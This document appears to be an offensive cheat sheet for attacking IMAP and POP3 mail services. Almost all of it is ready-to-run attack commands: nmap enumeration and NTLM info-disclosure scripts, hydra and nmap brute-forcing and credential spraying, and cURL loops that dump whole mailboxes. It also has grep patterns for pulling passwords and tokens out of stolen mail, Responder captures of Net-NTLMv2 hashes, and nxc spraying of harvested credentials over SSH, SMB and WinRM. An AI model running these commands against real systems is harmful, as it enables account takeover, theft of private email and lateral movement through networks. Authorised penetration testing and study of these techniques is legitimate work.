IMAP / POP3 - Ports 143, 993, 110, 995

# Nmap service detection + capability/NTLM scripts
nmap -sV -sC -p110,143,993,995 <IP>
nmap --script imap-capabilities,pop3-capabilities -p143,110 <IP>
nmap --script imap-ntlm-info,pop3-ntlm-info -p143,110 <IP>
nc -nv <IP> 143
nc -nv <IP> 110
 
 
# IMAPs 
# manual interaction got em from https://donsutherland.org/crib/imap 
telnet target.com 143
 
# Encrypted connections
openssl s_client -connect <IP>:993 -crlf -quiet 
 
A1 LOGIN <USER> <PASS>  #login 
A2 LIST "" * #list all folders
A3 LIST "INBOX" * #list inbox folder
A4 SELECT "INBOX" #select inbox folder 
A5 UID SEARCH ALL #search all messages this will fetch uid with message ids
A4 UID FETCH <UID> BODY[] #fetch full message
A7 LOGOUT #logout
 
# POP3
telnet <IP> 110
#encryted 
openssl s_client -connect <IP>:995 -crlf -quiet
USER username
PASS password
APOP <name> <digest> # auth with MD5 digest instead of plaintext pass
CAPA                      # Lists server-supported capabilities
 
## 2. Mailbox Status & Summary
 
STAT                      # Returns total number of messages and total mailbox size
LIST                      # Lists all message IDs with respective sizes in octets
LIST <msg#>               # Retrieves the size of a specific message (by number)
UIDL                      # Lists unique IDs for all messages (track across sessions)
## 3. Retrieving & Reading Messages
RETR <msg#>               # Fetches the full content (headers + body) of the specified message
TOP <msg#> <lines>        # Fetches message headers and <lines> of body (partial preview)
## 4. Deletion & Session Management
DELE <msg#>               # Marks a message for deletion (deleted after QUIT)
RSET                      # Undoes any message deletions for the session
NOOP                      # Sends a keepalive/no-operation command
QUIT                      # Ends session and deletes messages marked with DELE
 
 
 
# Credential attacks (spray harvested creds first, brute last)
hydra -L users.txt -P passwords.txt <IP> imap
hydra -L users.txt -P passwords.txt <IP> imaps -s 993
hydra -L users.txt -P passwords.txt <IP> pop3
hydra -L users.txt -P passwords.txt <IP> pop3s -s 995
 
# cURL fast bulk read (IMAP)
curl -k 'imaps://<IP>' --user <USER>:<PASS>
curl -k 'imaps://<IP>/INBOX;UID=1' --user <USER>:<PASS>
curl -k 'imaps://<IP>/INBOX?SUBJECT password' --user <USER>:<PASS>
 
# cURL POP3
curl -k 'pop3s://<IP>' --user <USER>:<PASS>
curl -k 'pop3s://<IP>/1' --user <USER>:<PASS>
 
# Dump every message in INBOX (IMAP via cURL loop)
for i in $(seq 1 100); do curl -k "imaps://<IP>/INBOX;UID=$i" --user <USER>:<PASS>; done > emails.txt
 
# Dump POP3 messages
for i in $(seq 1 100); do curl -k "pop3s://<IP>/$i" --user <USER>:<PASS>; done > emails.txt
 
# Capture relayed Net-NTLMv2 if NTLM auth is in play
sudo responder -I <INTERFACE>

nmap -sV -sC -p110,143,993,995 <IP>
 
# List accepted auth mechanisms (LOGINDISABLED, STARTTLS, AUTH=PLAIN, AUTH=NTLM, APOP)
nmap --script imap-capabilities -p143 <IP>
nmap --script pop3-capabilities -p110 <IP>
 
# Pre-auth NTLM info disclosure (hostname, NetBIOS/DNS domain, OS build)
nmap --script imap-ntlm-info -p143 <IP>
nmap --script pop3-ntlm-info -p110 <IP>
 
# All IMAP/POP3 scripts at once
nmap -p 143,993,110,995 --script "imap-* or pop3-*" <IP>
 

# Spray harvested credentials first (mail = highest reuse rate)
hydra -L users.txt -P passwords.txt <IP> imap
hydra -L users.txt -P passwords.txt <IP> pop3
 
# TLS-wrapped ports
hydra -L users.txt -P passwords.txt <IP> imaps -s 993
hydra -L users.txt -P passwords.txt <IP> pop3s -s 995
 
# Nmap brute-force scripts
nmap -p 143 --script imap-brute <IP>
nmap -p 110 --script pop3-brute <IP>
 
# POP3 user enumeration via error response differences
# +OK vs -ERR after USER command may reveal valid usernames
telnet <IP> 110
 
# Capture relayed Net-NTLMv2 if NTLM auth is in play
sudo responder -I <INTERFACE>

# IMAP list folders, then search and fetch (non-destructive)
a1 LOGIN <USER> <PASS>
a2 LIST "" "*"
a3 SELECT INBOX
a4 STATUS INBOX (MESSAGES RECENT UNSEEN)
a5 SEARCH BODY "password"
a6 SEARCH SUBJECT "reset"
a7 SEARCH FROM "admin"
a8 SEARCH TEXT "confidential"
a9 SEARCH SINCE 01-Jan-2024
a10 FETCH 1 BODY[]
a11 LOGOUT

# POP3 enumerate and read (RSET before QUIT if you marked deletions)
USER <USER>
PASS <PASS>
STAT
LIST
UIDL
RETR 1
TOP 1 10
RSET
QUIT

# cURL bulk extraction IMAP (fastest approach)
curl -k 'imaps://<IP>' --user <USER>:<PASS>
curl -k 'imaps://<IP>/INBOX;UID=1' --user <USER>:<PASS>
for i in $(seq 1 100); do curl -k "imaps://<IP>/INBOX;UID=$i" --user <USER>:<PASS>; done > emails.txt
 
# cURL bulk extraction POP3
for i in $(seq 1 100); do curl -k "pop3s://<IP>/$i" --user <USER>:<PASS> > email_$i.eml 2>/dev/null; done
 
# Search downloaded emails for high-value strings
grep -ri 'pass\|secret\|key\|token\|vpn\|credential' emails.txt
grep -Eiorh 'https?://[^\s]+' *.eml
grep -Eiorh '\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b' *.eml

# Capture Net-NTLMv2 when NTLM auth is in play
sudo responder -I <INTERFACE>
 
# Re-pull the pre-auth NTLM info for domain/hostname context
nmap --script imap-ntlm-info -p143 <IP>
 
# Build a creds file from mailbox findings, spray everywhere
nxc ssh <IP> -u users.txt -p creds.txt
nxc smb <IP> -u users.txt -p creds.txt
nxc winrm <IP> -u users.txt -p creds.txt

nmap -p 143 --script imap-ntlm-info <IP>